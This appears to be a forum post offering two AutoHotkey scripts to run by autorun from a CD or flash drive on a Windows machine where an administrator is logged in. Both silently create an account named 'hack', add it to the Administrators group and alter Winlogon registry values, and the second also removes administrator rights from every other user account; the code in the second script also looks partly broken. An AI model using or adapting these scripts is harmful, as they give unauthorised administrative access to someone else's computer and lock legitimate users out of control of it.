I accept no responsibility on how these scripts are used!
This script can be run by a CD or a U3 flash stick using autorun. (I like the flash drive better) It creates a user called "hack" and gives hack admin rights.
To use script 1:
When a admin is logged in you just insert the drive/CD and disconect it and your good to go!
Any other questions just pm or email me
To use script 2:
This one is harder to use. The user needs to mod the program for his own needs. This script makes all accounts limited. I have left the Administrator, HelpAssistant and the Support accounts alone so if my code doesn't work you still have those accounts.
To mod just add a string then make it equal the account which you want to keep. (eg. s1 = %Administrator%) then where the script says if (s2 = s1){} this will exclude your account.
Script 1:
Code:
RegRead, OutputVar1, HKEY_LOCAL_MACHINE, Software\ZANZA\Account, AccountHack
s1 = %outputvar1%
If ( s1 != 1)
{
RegWrite, REG_DWORD, HKEY_LOCAL_MACHINE, Software\ZANZA\Account, AccountHack, 0
RegRead, OutputVar2, HKEY_LOCAL_MACHINE, Software\ZANZA\Account, AccountHack
s2 = %OutputVar2%
if ( s2 = 0)
{
run, net user hack /add
run, net localgroup administrators hack /add
RegDelete, HKEY_LOCAL_MACHINE, Software\Microsoft\Windows NT\CurrentVersion\Winlogon, Background
RegWrite, Reg_Dword, HKEY_LOCAL_MACHINE, Software\Microsoft\Windows NT\CurrentVersion\Winlogon, LogonType, 0
RegWrite, REG_DWORD, HKEY_LOCAL_MACHINE, Software\ZANZA\Account, AccountHack, 1
}
}
Script 2:
Code:
RegRead, OutputVar3, HKEY_LOCAL_MACHINE, Software\ZANZA\Account, AccountHack
s1 = %outputvar3%
If ( s1 != 1)
{
RegRead, OutputVar1, HKEY_LOCAL_MACHINE, Software\ZANZA\Account, AccountHack
s1 = %OutputVar1%
if ( s1 = 0)
{
run, net user hack /add
run, net localgroup administrators hack /add
RegDelete, HKEY_LOCAL_MACHINE, Software\Microsoft\Windows NT\CurrentVersion\Winlogon, Background
RegWrite, Reg_Dword, HKEY_LOCAL_MACHINE, Software\Microsoft\Windows NT\CurrentVersion\Winlogon, LogonType, 0
RegWrite, Reg_Dword, HKEY_LOCAL_MACHINE, Software\ZANZA\Account, AccountHack, 1
Loop, C:\Documents and settings\*.*, 2,
FileAppend, %A_LoopFileName%`n , C:\test1\accounts.txt
i = 1
Loop, Read, C:\test1\accounts.txt
TotalLines := A_Index
s1 = %TotalLines%
s8 = s1
while, i <= s1
{
FileReadLine, outputvar, C:\test1\accounts.txt, i++
s2 = %outputvar2%
s3 = Administrator
s4 = All Users
s5 = Default User
s6 = LocalService
s7 = NetworkService
s14 = hack
if (s2 = s3)
{
}
else if (s2 = s4)
{
}
else if (s2 = s5)
{
}
else if (s2 = s6)
{
}
else if (s2 = s7)
{
}
else if (s2 = s14)
{
}
Else
{
FileAppend, %outputvar2%`n, C:\test1\accounts2.txt
run, net localgroup administrators %outputvar2% /Delete
}
}
}
}